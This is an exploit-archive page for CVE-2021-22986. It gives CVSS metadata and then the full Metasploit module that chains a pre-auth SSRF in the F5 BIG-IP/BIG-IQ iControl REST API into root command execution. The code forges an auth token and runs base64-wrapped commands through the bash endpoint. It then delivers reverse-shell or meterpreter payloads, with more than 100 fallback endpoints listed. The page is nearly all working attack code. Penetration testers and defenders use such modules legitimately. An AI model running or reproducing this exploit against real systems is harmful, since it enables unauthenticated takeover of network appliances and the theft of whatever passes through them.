F5 iControl Server-Side Request Forgery / Remote Command Execution

2021.04.04
Credit: wvu
Risk: High
Local: No
Remote: Yes
CWE: CWE-78


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'F5 iControl REST Unauthenticated SSRF Token Generation RCE', 'Description' => %q{ This module exploits a pre-auth SSRF in the F5 iControl REST API's /mgmt/shared/authn/login endpoint to generate an X-F5-Auth-Token that can be used to execute root commands on an affected BIG-IP or BIG-IQ device. This vulnerability is known as CVE-2021-22986. CVE-2021-22986 affects the following BIG-IP versions: * 12.1.0 - 12.1.5 * 13.1.0 - 13.1.3 * 14.1.0 - 14.1.3 * 15.1.0 - 15.1.2 * 16.0.0 - 16.0.1 And the following BIG-IQ versions: * 6.0.0 - 6.1.0 * 7.0.0 * 7.1.0 Tested against BIG-IP Virtual Edition 16.0.1 in VMware Fusion. }, 'Author' => [ 'wvu', # Analysis and exploit 'Rich Warren' # First blood (RCE) and endpoint collaboration ], 'References' => [ ['CVE', '2021-22986'], ['URL', 'https://support.f5.com/csp/article/K03009991'], ['URL', 'https://attackerkb.com/assessments/f6b19d24-b24e-4abd-98cf-2988d7424311'], ['URL', 'https://research.nccgroup.com/2021/03/18/rift-detection-capabilities-for-recent-f5-big-ip-big-iq-icontrol-rest-api-vulnerabilities-cve-2021-22986/'] # https://clouddocs.f5.com/products/big-iq/mgmt-api/v7.0.0/ApiReferences/bigiq_public_api_ref/r_auth_login.html ], 'DisclosureDate' => '2021-03-10', # Vendor advisory 'License' => MSF_LICENSE, 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Privileged' => true, 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_python_ssl' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper, 'DefaultOptions' => { 'CMDSTAGER::FLAVOR' => :bourne, 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'SSL' => true }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], # Only one concurrent session 'SideEffects' => [ IOC_IN_LOGS, # /var/log/restjavad.0.log (rotated) ACCOUNT_LOCKOUTS, # Unlikely with bigipAuthCookie ARTIFACTS_ON_DISK # CmdStager ] } ) ) register_options([ Opt::RPORT(443), OptString.new('TARGETURI', [true, 'Base path', '/']), OptString.new('USERNAME', [true, 'Valid admin username', 'admin']), OptString.new('ENDPOINT', [false, 'Custom token generation endpoint']) ]) register_advanced_options([ OptFloat.new('CmdExecTimeout', [true, 'Command execution timeout', 3.5]) ]) end def username datastore['USERNAME'] end def user_reference_endpoint normalize_uri(target_uri.path, '/mgmt/shared/authz/users', username) end def check generate_token_ssrf ? CheckCode::Vulnerable : CheckCode::Safe end def exploit return unless (@token ||= generate_token_ssrf) print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :unix_cmd execute_command(payload.encoded) when :linux_dropper execute_cmdstager end end def generate_token_ssrf print_status('Generating token via SSRF...') vprint_status("Username: #{username}") vprint_status("Endpoint: #{login_reference_endpoint}") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/mgmt/shared/authn/login'), 'ctype' => 'application/json', 'data' => { 'username' => username, 'bigipAuthCookie' => '', 'authProviderName' => 'local', 'loginReference' => { 'link' => "https://localhost#{login_reference_endpoint}" }, 'userReference' => { 'link' => "https://localhost#{user_reference_endpoint}" } }.to_json ) unless res&.code == 200 && (@token = res.get_json_document.dig('token', 'token')) print_error('Failed to generate token') return end print_good("Successfully generated token: #{@token}") @token end def execute_command(cmd, _opts = {}) bash_cmd = "eval $(echo #{Rex::Text.encode_base64(cmd)} | base64 -d)" print_status("Executing command: #{bash_cmd}") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/mgmt/tm/util/bash'), 'ctype' => 'application/json', 'headers' => { 'X-F5-Auth-Token' => @token }, 'data' => { 'command' => 'run', 'utilCmdArgs' => "-c '#{bash_cmd}'" }.to_json }, datastore['CmdExecTimeout']) unless res vprint_warning('Command execution timed out') return end unless res.code == 200 && res.get_json_document['kind'] == 'tm:util:bash:runstate' fail_with(Failure::PayloadFailed, 'Failed to execute command') end print_good('Successfully executed command') return unless (cmd_result = res.get_json_document['commandResult']) vprint_line(cmd_result) end def login_reference_endpoint if datastore['ENDPOINT'] return normalize_uri(target_uri.path, datastore['ENDPOINT']) end @token_generation_endpoint ||= token_generation_endpoints.sample normalize_uri(target_uri.path, @token_generation_endpoint) end # Usable token generation endpoints between versions 12.1.4 and 16.0.1 def token_generation_endpoints %w[ /access/file-path-manager/indexing /cm/autodeploy/cluster-software-images/indexing /cm/autodeploy/qkview/indexing /cm/autodeploy/software-images/indexing /cm/autodeploy/software-volume-install/indexing /cm/system/authn/providers/tmos/1f44a60e-11a7-3c51-a49f-82983026b41b/users/indexing /cm/system/authn/providers/tmos/indexing /mgmt/shared/analytics/avr-proxy-tasks /mgmt/shared/gossip /mgmt/shared/gossip-peer-refresher /mgmt/shared/identified-devices/config/device-refresh /mgmt/shared/save-config /mgmt/tm/shared/bigip-failover-state /shared/analytics/avr-proxy-tasks /shared/analytics/avr-proxy-tasks/indexing /shared/analytics/event-aggregation-tasks/indexing /shared/analytics/event-analysis-tasks/indexing /shared/authn/providers/local/groups/indexing /shared/authz/remote-resources/indexing /shared/authz/resource-groups/indexing /shared/authz/roles/indexing /shared/authz/tokens/indexing /shared/chassis-framework-upgrades/indexing /shared/device-discovery-tasks/indexing /shared/device-group-key-pairs/indexing /shared/echo/indexing /shared/framework-info-tasks/indexing /shared/framework-upgrades/indexing /shared/gossip /shared/gossip-peer-refresher /shared/group-task/indexing /shared/iapp/blocks/indexing /shared/iapp/build-package/indexing /shared/iapp/health-prefix-map/indexing /shared/iapp/package-management-tasks/indexing /shared/iapp/template-loader/indexing /shared/identified-devices/config/device-refresh /shared/nodejs/loader-path-config/indexing /shared/package-deployments/indexing /shared/resolver/device-groups/indexing /shared/resolver/device-groups/tm-shared-all-big-ips/devices/indexing /shared/root-framework-upgrades/indexing /shared/rpm-tasks/indexing /shared/save-config /shared/snapshot-task/indexing /shared/snapshot/indexing /shared/stats-information/indexing /shared/storage/tasks/indexing /shared/task-scheduler/scheduler/indexing /shared/tmsh-shell/indexing /tm/analytics/afm-sweeper/generate-report/indexing /tm/analytics/afm-sweeper/report-results/indexing /tm/analytics/application-security-anomalies/generate-report/indexing /tm/analytics/application-security-anomalies/report-results/indexing /tm/analytics/application-security-network/generate-report/indexing /tm/analytics/application-security-network/report-results/indexing /tm/analytics/application-security/generate-report/indexing /tm/analytics/application-security/report-results/indexing /tm/analytics/asm-bypass/generate-report/indexing /tm/analytics/asm-bypass/report-results/indexing /tm/analytics/asm-cpu/generate-report/indexing /tm/analytics/asm-cpu/report-results/indexing /tm/analytics/asm-memory/generate-report/indexing /tm/analytics/asm-memory/report-results/indexing /tm/analytics/cpu/generate-report/indexing /tm/analytics/cpu/report-results/indexing /tm/analytics/disk-info/generate-report/indexing /tm/analytics/disk-info/report-results/indexing /tm/analytics/dns/generate-report/indexing /tm/analytics/dns/report-results/indexing /tm/analytics/dos-l3/generate-report/indexing /tm/analytics/dos-l3/report-results/indexing /tm/analytics/http/generate-report/indexing /tm/analytics/http/report-results/indexing /tm/analytics/ip-intelligence/generate-report/indexing /tm/analytics/ip-intelligence/report-results/indexing /tm/analytics/ip-layer/generate-report/indexing /tm/analytics/ip-layer/report-results/indexing /tm/analytics/lsn-pool/generate-report/indexing /tm/analytics/lsn-pool/report-results/indexing /tm/analytics/memory/generate-report/indexing /tm/analytics/memory/report-results/indexing /tm/analytics/network/generate-report/indexing /tm/analytics/network/report-results/indexing /tm/analytics/pem/generate-report/indexing /tm/analytics/pem/report-results/indexing /tm/analytics/proc-cpu/generate-report/indexing /tm/analytics/proc-cpu/report-results/indexing /tm/analytics/protocol-security-http/generate-report/indexing /tm/analytics/protocol-security-http/report-results/indexing /tm/analytics/protocol-security/generate-report/indexing /tm/analytics/protocol-security/report-results/indexing /tm/analytics/sip/generate-report/indexing /tm/analytics/sip/report-results/indexing /tm/analytics/swg-blocked/generate-report/indexing /tm/analytics/swg-blocked/report-results/indexing /tm/analytics/swg/generate-report/indexing /tm/analytics/swg/report-results/indexing /tm/analytics/tcp-analytics/generate-report/indexing /tm/analytics/tcp-analytics/report-results/indexing /tm/analytics/tcp/generate-report/indexing /tm/analytics/tcp/report-results/indexing /tm/analytics/udp/generate-report/indexing /tm/analytics/udp/report-results/indexing /tm/analytics/vcmp/generate-report/indexing /tm/analytics/vcmp/report-results/indexing /tm/analytics/virtual/generate-report/indexing /tm/analytics/virtual/report-results/indexing /tm/shared/bigip-failover-state /tm/shared/sys/backup/indexing ] end end


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